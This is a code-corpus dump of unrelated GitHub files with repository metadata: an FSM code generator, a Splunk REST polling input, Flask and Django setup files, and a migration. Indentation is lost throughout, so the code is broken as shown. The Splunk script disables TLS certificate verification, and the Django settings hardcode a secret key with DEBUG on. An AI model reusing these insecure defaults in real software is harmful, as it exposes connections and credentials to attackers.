34529478085062e959c34fee5da4b78c41f9e8bf | 2e1fad208df28fcd6fc923915e1ae6865a74051d | /Assignment 5/fsm.py | 1acb975664a46194e9da7ef3e6fd9f9a9ef4d438 | [] | no_license | cameronpadua/CSS390-Assignments | df9e435d2c6aac2618b0c3ef57fdf7ef43e29adb | a4089d46cb5ec3c91d170dbadaa355190e68bfc1 | refs/heads/master | 2021-04-28T19:50:49.531800 | 2018-02-18T01:35:56 | 2018-02-18T01:35:56 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,040 | py | #! /usr/bin/python
"""
Name: Cameron Padua
Class: CSS390
Assignment: Finite State Machine Generator
Description: This script is used to generate C++ code using python. The
user must provide all the edges, header, footer, and states
to create a python file to run.
"""
class State(object):
def __init__(self, name, action, edges):
self.name = name
self.action = action
self.edges = edges
class Edge(object):
def __init__(self, name, new_state, action):
self.event = name
self.new_state = new_state
self.action = action
class Machine(object):
def __init__(self, name):
self.name = name
self.the_header = ""
self.the_footer = ""
self.states = {}
self.state_names = list()
self.events = set()
def header(self, text):
self.the_header = text
def footer(self, text):
self.the_footer = text
def state(self, name, action="", edges=None):
if name in self.states:
raise ValueError("duplicate state " + name)
self.state_names.append(name)
self.states[name] = State(name, action, edges)
def edges(self, *args_list):
Edges = []
for arg in args_list:
Edges.append(self.edge(arg[0], arg[1]))
return Edges
def edge(self, name, new_state, action=""):
self.events.add(name)
return Edge(name, new_state, action)
def gen_state(self, state_name):
state = self.states[state_name]
print " case {}_STATE:".format(state_name)
print " cerr << \"state {}\" << endl;".format(state_name)
print " " + state.action
print " event = event_get_next_event();"
print " cerr << \"event \" << EVENT_NAMES[event] << endl;".format(state_name)
self.gen_events(state)
print
print " default:"
print " cerr << \"INVALID EVENT \" << event << " \
"\" in state {} \" << endl;".format(state_name)
print " return -1;"
print " }"
print " break;"
def gen_events(self, state):
print " switch (event) {"
edges = state.edges
if (edges == None): return
for edge in edges:
print
print " case {}_EVENT".format(edge.event)
print
print " state = {}_STATE;".format(
edge.new_state)
print " break;"
def gen(self):
print self.the_header
print """
#include <iostream>
using namespace std;
"""
print "enum State {"
for name in self.state_names:
print " {}_STATE,".format(name)
# print " ", name, ","
print "};"
print "enum Event {"
for name in self.events:
print " {}_EVENT,".format(name)
print " INVALID_EVENT"
print "};"
print "const char * EVENT_NAMES[] = {"
for name in self.events:
print " \"{}\",".format(name)
print "};"
print "Event get_next_event();"
print
print "Event string_to_event(string event_string) {"
for event in self.events:
print ' if (event_string == "{ev}") {{return {ev}_EVENT;}}'.format(ev=event)
print " return INVALID_EVENT;"
print "}"
print "int {}(State initial_state) {{".format(self.name)
print " State state = initial_state;"
print " Event event;"
print " while (true) {"
print " switch (state) {"
print
for state in self.state_names:
self.gen_state(state)
print" }"
print" }"
print" }"
print self.the_footer | [
"cameron.padua@gmail.com"
] | cameron.padua@gmail.com |
68e9badb63dfa7f93aed88ca630799e3a43f8ee8 | bb24d8a7f71206fac23ebef0d53f94918d7aa32d | /mymusic/migrations/0005_album_image_url.py | 2818a2cbf76e1a6e207e5a6e7dae1d783a693bd1 | [] | no_license | momentum-morehouse/django-music-bettinacjohnson | ec3311b41df1c3c09a3993fb476c06d715a87405 | c52f24d2f9faec73b0cad4139ebfe002bd819766 | refs/heads/master | 2022-11-27T02:04:49.847168 | 2020-07-16T23:46:13 | 2020-07-16T23:46:13 | 279,333,283 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 394 | py | # Generated by Django 3.0.8 on 2020-07-15 20:21
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('mymusic', '0004_auto_20200714_1510'),
]
operations = [
migrations.AddField(
model_name='album',
name='image_url',
field=models.TextField(blank=True, null=True),
),
]
| [
"replituser@example.com"
] | replituser@example.com |
0b507bfacaa250eea6dafb6b5078efa843c7bb81 | 99356336a59b6c63de99156d2147fe3e4c1d13ac | /implementations/rest/bin/rest.py | d2f7d390dbbcb6b5d8db6386eca027e72521c0d2 | [
"Apache-2.0"
] | permissive | splunkdevabhi/SplunkModularInputsPythonFramework | 1ee157fe59feced526db1a278794406c0242acf2 | 04b69c29d95ef4c125bc9766e71d26620e1369db | refs/heads/master | 2020-12-26T01:13:42.298552 | 2015-10-14T17:05:38 | 2015-10-14T17:05:38 | 48,684,067 | 3 | 1 | null | 2015-12-28T09:07:31 | 2015-12-28T09:07:30 | null | UTF-8 | Python | false | false | 32,429 | py | '''
Modular Input Script
Copyright (C) 2012 Splunk, Inc.
All Rights Reserved
'''
import sys,logging,os,time,re,threading
import xml.dom.minidom
import tokens
from datetime import datetime
SPLUNK_HOME = os.environ.get("SPLUNK_HOME")
RESPONSE_HANDLER_INSTANCE = None
SPLUNK_PORT = 8089
STANZA = None
SESSION_TOKEN = None
REGEX_PATTERN = None
#dynamically load in any eggs in /etc/apps/snmp_ta/bin
EGG_DIR = SPLUNK_HOME + "/etc/apps/rest_ta/bin/"
for filename in os.listdir(EGG_DIR):
if filename.endswith(".egg"):
sys.path.append(EGG_DIR + filename)
import requests,json
from requests.auth import HTTPBasicAuth
from requests.auth import HTTPDigestAuth
from requests_oauthlib import OAuth1
from requests_oauthlib import OAuth2Session
from oauthlib.oauth2 import WebApplicationClient
from requests.auth import AuthBase
from splunklib.client import connect
from splunklib.client import Service
from croniter import croniter
#set up logging
logging.root
logging.root.setLevel(logging.ERROR)
formatter = logging.Formatter('%(levelname)s %(message)s')
#with zero args , should go to STD ERR
handler = logging.StreamHandler()
handler.setFormatter(formatter)
logging.root.addHandler(handler)
SCHEME = """<scheme>
<title>REST</title>
<description>REST API input for polling data from RESTful endpoints</description>
<use_external_validation>true</use_external_validation>
<streaming_mode>xml</streaming_mode>
<use_single_instance>false</use_single_instance>
<endpoint>
<args>
<arg name="name">
<title>REST input name</title>
<description>Name of this REST input</description>
</arg>
<arg name="endpoint">
<title>Endpoint URL</title>
<description>URL to send the HTTP GET request to</description>
<required_on_edit>false</required_on_edit>
<required_on_create>true</required_on_create>
</arg>
<arg name="http_method">
<title>HTTP Method</title>
<description>HTTP method to use.Defaults to GET. POST and PUT are not really RESTful for requesting data from the API, but useful to have the option for target APIs that are "REST like"</description>
<required_on_edit>false</required_on_edit>
<required_on_create>false</required_on_create>
</arg>
<arg name="request_payload">
<title>Request Payload</title>
<description>Request payload for POST and PUT HTTP Methods</description>
<required_on_edit>false</required_on_edit>
<required_on_create>false</required_on_create>
</arg>
<arg name="auth_type">
<title>Authentication Type</title>
<description>Authentication method to use : none | basic | digest | oauth1 | oauth2 | custom</description>
<required_on_edit>false</required_on_edit>
<required_on_create>true</required_on_create>
</arg>
<arg name="auth_user">
<title>Authentication User</title>
<description>Authentication user for BASIC or DIGEST auth</description>
<required_on_edit>false</required_on_edit>
<required_on_create>false</required_on_create>
</arg>
<arg name="auth_password">
<title>Authentication Password</title>
<description>Authentication password for BASIC or DIGEST auth</description>
<required_on_edit>false</required_on_edit>
<required_on_create>false</required_on_create>
</arg>
<arg name="oauth1_client_key">
<title>OAUTH 1 Client Key</title>
<description>OAUTH 1 client key</description>
<required_on_edit>false</required_on_edit>
<required_on_create>false</required_on_create>
</arg>
<arg name="oauth1_client_secret">
<title>OAUTH 1 Client Secret</title>
<description>OAUTH 1 client secret</description>
<required_on_edit>false</required_on_edit>
<required_on_create>false</required_on_create>
</arg>
<arg name="oauth1_access_token">
<title>OAUTH 1 Access Token</title>
<description>OAUTH 1 access token</description>
<required_on_edit>false</required_on_edit>
<required_on_create>false</required_on_create>
</arg>
<arg name="oauth1_access_token_secret">
<title>OAUTH 1 Access Token Secret</title>
<description>OAUTH 1 access token secret</description>
<required_on_edit>false</required_on_edit>
<required_on_create>false</required_on_create>
</arg>
<arg name="oauth2_token_type">
<title>OAUTH 2 Token Type</title>
<description>OAUTH 2 token type</description>
<required_on_edit>false</required_on_edit>
<required_on_create>false</required_on_create>
</arg>
<arg name="oauth2_access_token">
<title>OAUTH 2 Access Token</title>
<description>OAUTH 2 access token</description>
<required_on_edit>false</required_on_edit>
<required_on_create>false</required_on_create>
</arg>
<arg name="oauth2_refresh_token">
<title>OAUTH 2 Refresh Token</title>
<description>OAUTH 2 refresh token</description>
<required_on_edit>false</required_on_edit>
<required_on_create>false</required_on_create>
</arg>
<arg name="oauth2_refresh_url">
<title>OAUTH 2 Token Refresh URL</title>
<description>OAUTH 2 token refresh URL</description>
<required_on_edit>false</required_on_edit>
<required_on_create>false</required_on_create>
</arg>
<arg name="oauth2_refresh_props">
<title>OAUTH 2 Token Refresh Propertys</title>
<description>OAUTH 2 token refresh propertys : key=value,key2=value2</description>
<required_on_edit>false</required_on_edit>
<required_on_create>false</required_on_create>
</arg>
<arg name="oauth2_client_id">
<title>OAUTH 2 Client ID</title>
<description>OAUTH 2 client ID</description>
<required_on_edit>false</required_on_edit>
<required_on_create>false</required_on_create>
</arg>
<arg name="oauth2_client_secret">
<title>OAUTH 2 Client Secret</title>
<description>OAUTH 2 client secret</description>
<required_on_edit>false</required_on_edit>
<required_on_create>false</required_on_create>
</arg>
<arg name="http_header_propertys">
<title>HTTP Header Propertys</title>
<description>Custom HTTP header propertys : key=value,key2=value2</description>
<required_on_edit>false</required_on_edit>
<required_on_create>false</required_on_create>
</arg>
<arg name="url_args">
<title>URL Arguments</title>
<description>Custom URL arguments : key=value,key2=value2</description>
<required_on_edit>false</required_on_edit>
<required_on_create>false</required_on_create>
</arg>
<arg name="response_type">
<title>Response Type</title>
<description>Rest Data Response Type : json | xml | text</description>
<required_on_edit>false</required_on_edit>
<required_on_create>false</required_on_create>
</arg>
<arg name="streaming_request">
<title>Streaming Request</title>
<description>Whether or not this is a HTTP streaming request : true | false</description>
<required_on_edit>false</required_on_edit>
<required_on_create>false</required_on_create>
</arg>
<arg name="http_proxy">
<title>HTTP Proxy Address</title>
<description>HTTP Proxy Address</description>
<required_on_edit>false</required_on_edit>
<required_on_create>false</required_on_create>
</arg>
<arg name="https_proxy">
<title>HTTPs Proxy Address</title>
<description>HTTPs Proxy Address</description>
<required_on_edit>false</required_on_edit>
<required_on_create>false</required_on_create>
</arg>
<arg name="request_timeout">
<title>Request Timeout</title>
<description>Request Timeout in seconds</description>
<required_on_edit>false</required_on_edit>
<required_on_create>false</required_on_create>
</arg>
<arg name="backoff_time">
<title>Backoff Time</title>
<description>Time in seconds to wait for retry after error or timeout</description>
<required_on_edit>false</required_on_edit>
<required_on_create>false</required_on_create>
</arg>
<arg name="polling_interval">
<title>Polling Interval</title>
<description>Interval time in seconds to poll the endpoint</description>
<required_on_edit>false</required_on_edit>
<required_on_create>false</required_on_create>
</arg>
<arg name="sequential_mode">
<title>Sequential Mode</title>
<description>Whether multiple requests spawned by tokenization are run in parallel or sequentially</description>
<required_on_edit>false</required_on_edit>
<required_on_create>false</required_on_create>
</arg>
<arg name="sequential_stagger_time">
<title>Sequential Stagger Time</title>
<description>An optional stagger time period between sequential requests</description>
<required_on_edit>false</required_on_edit>
<required_on_create>false</required_on_create>
</arg>
<arg name="delimiter">
<title>Delimiter</title>
<description>Delimiter to use for any multi "key=value" field inputs</description>
<required_on_edit>false</required_on_edit>
<required_on_create>false</required_on_create>
</arg>
<arg name="index_error_response_codes">
<title>Index Error Responses</title>
<description>Whether or not to index error response codes : true | false</description>
<required_on_edit>false</required_on_edit>
<required_on_create>false</required_on_create>
</arg>
<arg name="response_handler">
<title>Response Handler</title>
<description>Python classname of custom response handler</description>
<required_on_edit>false</required_on_edit>
<required_on_create>false</required_on_create>
</arg>
<arg name="response_handler_args">
<title>Response Handler Arguments</title>
<description>Response Handler arguments string , key=value,key2=value2</description>
<required_on_edit>false</required_on_edit>
<required_on_create>false</required_on_create>
</arg>
<arg name="response_filter_pattern">
<title>Response Filter Pattern</title>
<description>Python Regex pattern, if present , responses must match this pattern to be indexed</description>
<required_on_edit>false</required_on_edit>
<required_on_create>false</required_on_create>
</arg>
<arg name="custom_auth_handler">
<title>Custom_Auth Handler</title>
<description>Python classname of custom auth handler</description>
<required_on_edit>false</required_on_edit>
<required_on_create>false</required_on_create>
</arg>
<arg name="custom_auth_handler_args">
<title>Custom_Auth Handler Arguments</title>
<description>Custom Authentication Handler arguments string , key=value,key2=value2</description>
<required_on_edit>false</required_on_edit>
<required_on_create>false</required_on_create>
</arg>
<arg name="cookies">
<title>Cookies</title>
<description>Persist cookies in format key=value,key2=value2,...</description>
<required_on_edit>false</required_on_edit>
<required_on_create>false</required_on_create>
</arg>
</args>
</endpoint>
</scheme>
"""
def get_current_datetime_for_cron():
current_dt = datetime.now()
#dont need seconds/micros for cron
current_dt = current_dt.replace(second=0, microsecond=0)
return current_dt
def do_validate():
config = get_validation_config()
#TODO
#if error , print_validation_error & sys.exit(2)
def do_run(config,endpoint_list):
#setup some globals
server_uri = config.get("server_uri")
global SPLUNK_PORT
global STANZA
global SESSION_TOKEN
global delimiter
SPLUNK_PORT = server_uri[18:]
STANZA = config.get("name")
SESSION_TOKEN = config.get("session_key")
#params
http_method=config.get("http_method","GET")
request_payload=config.get("request_payload")
#none | basic | digest | oauth1 | oauth2
auth_type=config.get("auth_type","none")
#Delimiter to use for any multi "key=value" field inputs
delimiter=config.get("delimiter",",")
#for basic and digest
auth_user=config.get("auth_user")
auth_password=config.get("auth_password")
#for oauth1
oauth1_client_key=config.get("oauth1_client_key")
oauth1_client_secret=config.get("oauth1_client_secret")
oauth1_access_token=config.get("oauth1_access_token")
oauth1_access_token_secret=config.get("oauth1_access_token_secret")
#for oauth2
oauth2_token_type=config.get("oauth2_token_type","Bearer")
oauth2_access_token=config.get("oauth2_access_token")
oauth2_refresh_token=config.get("oauth2_refresh_token")
oauth2_refresh_url=config.get("oauth2_refresh_url")
oauth2_refresh_props_str=config.get("oauth2_refresh_props")
oauth2_client_id=config.get("oauth2_client_id")
oauth2_client_secret=config.get("oauth2_client_secret")
oauth2_refresh_props={}
if not oauth2_refresh_props_str is None:
oauth2_refresh_props = dict((k.strip(), v.strip()) for k,v in
(item.split('=',1) for item in oauth2_refresh_props_str.split(delimiter)))
oauth2_refresh_props['client_id'] = oauth2_client_id
oauth2_refresh_props['client_secret'] = oauth2_client_secret
http_header_propertys={}
http_header_propertys_str=config.get("http_header_propertys")
if not http_header_propertys_str is None:
http_header_propertys = dict((k.strip(), v.strip()) for k,v in
(item.split('=',1) for item in http_header_propertys_str.split(delimiter)))
url_args={}
url_args_str=config.get("url_args")
if not url_args_str is None:
url_args = dict((k.strip(), v.strip()) for k,v in
(item.split('=',1) for item in url_args_str.split(delimiter)))
#json | xml | text
response_type=config.get("response_type","text")
streaming_request=int(config.get("streaming_request",0))
http_proxy=config.get("http_proxy")
https_proxy=config.get("https_proxy")
proxies={}
if not http_proxy is None:
proxies["http"] = http_proxy
if not https_proxy is None:
proxies["https"] = https_proxy
cookies={}
cookies_str=config.get("cookies")
if not cookies_str is None:
cookies = dict((k.strip(), v.strip()) for k,v in
(item.split('=',1) for item in cookies_str.split(delimiter)))
request_timeout=int(config.get("request_timeout",30))
backoff_time=int(config.get("backoff_time",10))
sequential_stagger_time = int(config.get("sequential_stagger_time",0))
polling_interval_string = config.get("polling_interval","60")
if polling_interval_string.isdigit():
polling_type = 'interval'
polling_interval=int(polling_interval_string)
else:
polling_type = 'cron'
cron_start_date = datetime.now()
cron_iter = croniter(polling_interval_string, cron_start_date)
index_error_response_codes=int(config.get("index_error_response_codes",0))
response_filter_pattern=config.get("response_filter_pattern")
if response_filter_pattern:
global REGEX_PATTERN
REGEX_PATTERN = re.compile(response_filter_pattern)
response_handler_args={}
response_handler_args_str=config.get("response_handler_args")
if not response_handler_args_str is None:
response_handler_args = dict((k.strip(), v.strip()) for k,v in
(item.split('=',1) for item in response_handler_args_str.split(delimiter)))
response_handler=config.get("response_handler","DefaultResponseHandler")
module = __import__("responsehandlers")
class_ = getattr(module,response_handler)
global RESPONSE_HANDLER_INSTANCE
RESPONSE_HANDLER_INSTANCE = class_(**response_handler_args)
custom_auth_handler=config.get("custom_auth_handler")
if custom_auth_handler:
module = __import__("authhandlers")
class_ = getattr(module,custom_auth_handler)
custom_auth_handler_args={}
custom_auth_handler_args_str=config.get("custom_auth_handler_args")
if not custom_auth_handler_args_str is None:
custom_auth_handler_args = dict((k.strip(), v.strip()) for k,v in (item.split('=',1) for item in custom_auth_handler_args_str.split(delimiter)))
CUSTOM_AUTH_HANDLER_INSTANCE = class_(**custom_auth_handler_args)
try:
auth=None
oauth2=None
if auth_type == "basic":
auth = HTTPBasicAuth(auth_user, auth_password)
elif auth_type == "digest":
auth = HTTPDigestAuth(auth_user, auth_password)
elif auth_type == "oauth1":
auth = OAuth1(oauth1_client_key, oauth1_client_secret,
oauth1_access_token ,oauth1_access_token_secret)
elif auth_type == "oauth2":
token={}
token["token_type"] = oauth2_token_type
token["access_token"] = oauth2_access_token
token["refresh_token"] = oauth2_refresh_token
token["expires_in"] = "5"
client = WebApplicationClient(oauth2_client_id)
oauth2 = OAuth2Session(client, token=token,auto_refresh_url=oauth2_refresh_url,auto_refresh_kwargs=oauth2_refresh_props,token_updater=oauth2_token_updater)
elif auth_type == "custom" and CUSTOM_AUTH_HANDLER_INSTANCE:
auth = CUSTOM_AUTH_HANDLER_INSTANCE
req_args = {"verify" : False ,"stream" : bool(streaming_request) , "timeout" : float(request_timeout)}
if auth:
req_args["auth"]= auth
if url_args:
req_args["params"]= url_args
if cookies:
req_args["cookies"]= cookies
if http_header_propertys:
req_args["headers"]= http_header_propertys
if proxies:
req_args["proxies"]= proxies
if request_payload and not http_method == "GET":
req_args["data"]= request_payload
while True:
if polling_type == 'cron':
next_cron_firing = cron_iter.get_next(datetime)
while get_current_datetime_for_cron() != next_cron_firing:
time.sleep(float(10))
for endpoint in endpoint_list:
if "params" in req_args:
req_args_params_current = dictParameterToStringFormat(req_args["params"])
else:
req_args_params_current = ""
if "cookies" in req_args:
req_args_cookies_current = dictParameterToStringFormat(req_args["cookies"])
else:
req_args_cookies_current = ""
if "headers" in req_args:
req_args_headers_current = dictParameterToStringFormat(req_args["headers"])
else:
req_args_headers_current = ""
if "data" in req_args:
req_args_data_current = req_args["data"]
else:
req_args_data_current = ""
try:
if oauth2:
if http_method == "GET":
r = oauth2.get(endpoint,**req_args)
elif http_method == "POST":
r = oauth2.post(endpoint,**req_args)
elif http_method == "PUT":
r = oauth2.put(endpoint,**req_args)
else:
if http_method == "GET":
r = requests.get(endpoint,**req_args)
elif http_method == "POST":
r = requests.post(endpoint,**req_args)
elif http_method == "PUT":
r = requests.put(endpoint,**req_args)
except requests.exceptions.Timeout,e:
logging.error("HTTP Request Timeout error: %s" % str(e))
time.sleep(float(backoff_time))
continue
except Exception as e:
logging.error("Exception performing request: %s" % str(e))
time.sleep(float(backoff_time))
continue
try:
r.raise_for_status()
if streaming_request:
for line in r.iter_lines():
if line:
handle_output(r,line,response_type,req_args,endpoint)
else:
handle_output(r,r.text,response_type,req_args,endpoint)
except requests.exceptions.HTTPError,e:
error_output = r.text
error_http_code = r.status_code
if index_error_response_codes:
error_event=""
error_event += 'http_error_code = %s error_message = %s' % (error_http_code, error_output)
print_xml_single_instance_mode(error_event)
sys.stdout.flush()
logging.error("HTTP Request error: %s" % str(e))
time.sleep(float(backoff_time))
continue
if "data" in req_args:
checkParamUpdated(req_args_data_current,req_args["data"],"request_payload")
if "params" in req_args:
checkParamUpdated(req_args_params_current,dictParameterToStringFormat(req_args["params"]),"url_args")
if "headers" in req_args:
checkParamUpdated(req_args_headers_current,dictParameterToStringFormat(req_args["headers"]),"http_header_propertys")
if "cookies" in req_args:
checkParamUpdated(req_args_cookies_current,dictParameterToStringFormat(req_args["cookies"]),"cookies")
if sequential_stagger_time > 0:
time.sleep(float(sequential_stagger_time))
if polling_type == 'interval':
time.sleep(float(polling_interval))
except RuntimeError,e:
logging.error("Looks like an error: %s" % str(e))
sys.exit(2)
def replaceTokens(raw_string):
try:
url_list = [raw_string]
substitution_tokens = re.findall("\$(?:\w+)\$",raw_string)
for token in substitution_tokens:
token_response = getattr(tokens,token[1:-1])()
if(isinstance(token_response,list)):
temp_list = []
for token_response_value in token_response:
for url in url_list:
temp_list.append(url.replace(token,token_response_value))
url_list = temp_list
else:
for index,url in enumerate(url_list):
url_list[index] = url.replace(token,token_response)
return url_list
except:
e = sys.exc_info()[1]
logging.error("Looks like an error substituting tokens: %s" % str(e))
def checkParamUpdated(cached,current,rest_name):
if not (cached == current):
try:
args = {'host':'localhost','port':SPLUNK_PORT,'token':SESSION_TOKEN}
service = Service(**args)
item = service.inputs.__getitem__(STANZA[7:])
item.update(**{rest_name:current})
except RuntimeError,e:
logging.error("Looks like an error updating the modular input parameter %s: %s" % (rest_name,str(e),))
def dictParameterToStringFormat(parameter):
if parameter:
return ''.join(('{}={}'+delimiter).format(key, val) for key, val in parameter.items())[:-1]
else:
return None
def oauth2_token_updater(token):
try:
args = {'host':'localhost','port':SPLUNK_PORT,'token':SESSION_TOKEN}
service = Service(**args)
item = service.inputs.__getitem__(STANZA[7:])
item.update(oauth2_access_token=token["access_token"],oauth2_refresh_token=token["refresh_token"])
except RuntimeError,e:
logging.error("Looks like an error updating the oauth2 token: %s" % str(e))
def handle_output(response,output,type,req_args,endpoint):
try:
if REGEX_PATTERN:
search_result = REGEX_PATTERN.search(output)
if search_result == None:
return
RESPONSE_HANDLER_INSTANCE(response,output,type,req_args,endpoint)
sys.stdout.flush()
except RuntimeError,e:
logging.error("Looks like an error handle the response output: %s" % str(e))
# prints validation error data to be consumed by Splunk
def print_validation_error(s):
print "<error><message>%s</message></error>" % encodeXMLText(s)
# prints XML stream
def print_xml_single_instance_mode(s):
print "<stream><event><data>%s</data></event></stream>" % encodeXMLText(s)
# prints simple stream
def print_simple(s):
print "%s\n" % s
def encodeXMLText(text):
text = text.replace("&", "&")
text = text.replace("\"", """)
text = text.replace("'", "'")
text = text.replace("<", "<")
text = text.replace(">", ">")
return text
def usage():
print "usage: %s [--scheme|--validate-arguments]"
logging.error("Incorrect Program Usage")
sys.exit(2)
def do_scheme():
print SCHEME
#read XML configuration passed from splunkd, need to refactor to support single instance mode
def get_input_config():
config = {}
try:
# read everything from stdin
config_str = sys.stdin.read()
# parse the config XML
doc = xml.dom.minidom.parseString(config_str)
root = doc.documentElement
session_key_node = root.getElementsByTagName("session_key")[0]
if session_key_node and session_key_node.firstChild and session_key_node.firstChild.nodeType == session_key_node.firstChild.TEXT_NODE:
data = session_key_node.firstChild.data
config["session_key"] = data
server_uri_node = root.getElementsByTagName("server_uri")[0]
if server_uri_node and server_uri_node.firstChild and server_uri_node.firstChild.nodeType == server_uri_node.firstChild.TEXT_NODE:
data = server_uri_node.firstChild.data
config["server_uri"] = data
conf_node = root.getElementsByTagName("configuration")[0]
if conf_node:
logging.debug("XML: found configuration")
stanza = conf_node.getElementsByTagName("stanza")[0]
if stanza:
stanza_name = stanza.getAttribute("name")
if stanza_name:
logging.debug("XML: found stanza " + stanza_name)
config["name"] = stanza_name
params = stanza.getElementsByTagName("param")
for param in params:
param_name = param.getAttribute("name")
logging.debug("XML: found param '%s'" % param_name)
if param_name and param.firstChild and \
param.firstChild.nodeType == param.firstChild.TEXT_NODE:
data = param.firstChild.data
config[param_name] = data
logging.debug("XML: '%s' -> '%s'" % (param_name, data))
checkpnt_node = root.getElementsByTagName("checkpoint_dir")[0]
if checkpnt_node and checkpnt_node.firstChild and \
checkpnt_node.firstChild.nodeType == checkpnt_node.firstChild.TEXT_NODE:
config["checkpoint_dir"] = checkpnt_node.firstChild.data
if not config:
raise Exception, "Invalid configuration received from Splunk."
except Exception, e:
raise Exception, "Error getting Splunk configuration via STDIN: %s" % str(e)
return config
#read XML configuration passed from splunkd, need to refactor to support single instance mode
def get_validation_config():
val_data = {}
# read everything from stdin
val_str = sys.stdin.read()
# parse the validation XML
doc = xml.dom.minidom.parseString(val_str)
root = doc.documentElement
logging.debug("XML: found items")
item_node = root.getElementsByTagName("item")[0]
if item_node:
logging.debug("XML: found item")
name = item_node.getAttribute("name")
val_data["stanza"] = name
params_node = item_node.getElementsByTagName("param")
for param in params_node:
name = param.getAttribute("name")
logging.debug("Found param %s" % name)
if name and param.firstChild and \
param.firstChild.nodeType == param.firstChild.TEXT_NODE:
val_data[name] = param.firstChild.data
return val_data
if __name__ == '__main__':
if len(sys.argv) > 1:
if sys.argv[1] == "--scheme":
do_scheme()
elif sys.argv[1] == "--validate-arguments":
do_validate()
else:
usage()
else:
config = get_input_config()
original_endpoint=config.get("endpoint")
#token replacement
endpoint_list = replaceTokens(original_endpoint)
sequential_mode=int(config.get("sequential_mode",0))
if bool(sequential_mode):
do_run(config,endpoint_list)
else: #parallel mode
for endpoint in endpoint_list:
requester = threading.Thread(target=do_run, args=(config,[endpoint]))
requester.start()
sys.exit(0)
| [
"ddallimore@splunk.com"
] | ddallimore@splunk.com |
1bb09a586e6092ecbb1565e6fb7441d8a796c5f1 | d7275cdd7215d5b52cac214955df6c22be17bd86 | /src/__init__.py | 4088dd23697036923046c6640821450025596277 | [
"MIT"
] | permissive | DMCFA/Flask-Rest-API | d572c393632a8d6cfae6d9d12535954c5af16cb0 | 062b8d82eed587a9d5a9ed8e1bbae128a0cf576a | refs/heads/main | 2023-04-13T02:08:04.785374 | 2021-04-10T16:32:39 | 2021-04-10T16:32:39 | 353,328,208 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 411 | py | import os
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from flask_marshmallow import Marshmallow
app = Flask(__name__)
appdir = os.path.abspath(os.path.dirname(__file__))
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///' + os.path.join(appdir, 'db.sqlite')
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)
ma = Marshmallow(app)
from src import routes | [
"duartemalmeida@gmail.com"
] | duartemalmeida@gmail.com |
d7160f9ee837a91c8da2ae76425140f5dac1dd8d | 0925e75bfd0b0cf88b238826a477a21caae648a2 | /calculator/settings.py | 680e3b5e5b1030543d3cb2597d44b91af01068a2 | [] | no_license | uzgit/calculator | c0018e1e326bcdaf3d0d1632ca6a4bbd6020d35e | e999379bfbbd962d86151928f62d06972b2f37a1 | refs/heads/master | 2020-08-31T08:15:58.770074 | 2019-11-04T09:22:15 | 2019-11-04T09:22:15 | 218,645,735 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,191 | py | """
Django settings for calculator project.
Generated by 'django-admin startproject' using Django 2.2.6.
For more information on this file, see
https://docs.djangoproject.com/en/2.2/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.2/ref/settings/
"""
import os
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/2.2/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = 'e#u9x0bsk6gj@)9a39yr=ctid0=aljy=opugm+ku4lb7)hsu%i'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
ALLOWED_HOSTS = []
# Application definition
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'calculator_app.apps.CalculatorAppConfig',
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'calculator.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [os.path.join(BASE_DIR, 'templates')]
,
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'calculator.wsgi.application'
# Database
# https://docs.djangoproject.com/en/2.2/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
}
}
# Password validation
# https://docs.djangoproject.com/en/2.2/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/2.2/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/2.2/howto/static-files/
STATIC_URL = '/static/'
| [
"jspri17@gmail.com"
] | jspri17@gmail.com |
7f83f95d256280eded283b30416cba6725d161ef | e02ffc3482b616a91a6f6a13d61845c0604fb617 | /CalStatistics/CalStatistics.py | f98c4832fe54f594dce341c8423a3ff07cb691cf | [] | no_license | Gsynf/PythonProject | 6d136a1176289e7d42c4ed25b9b6d4f515fe01d0 | e55718c3c998f66ba0e2c78c088ef702aeefa532 | refs/heads/master | 2020-05-07T09:04:25.514202 | 2019-07-15T02:35:15 | 2019-07-15T02:35:15 | 180,360,655 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 948 | py | #!usr/bin/env python3
#coding:utf-8
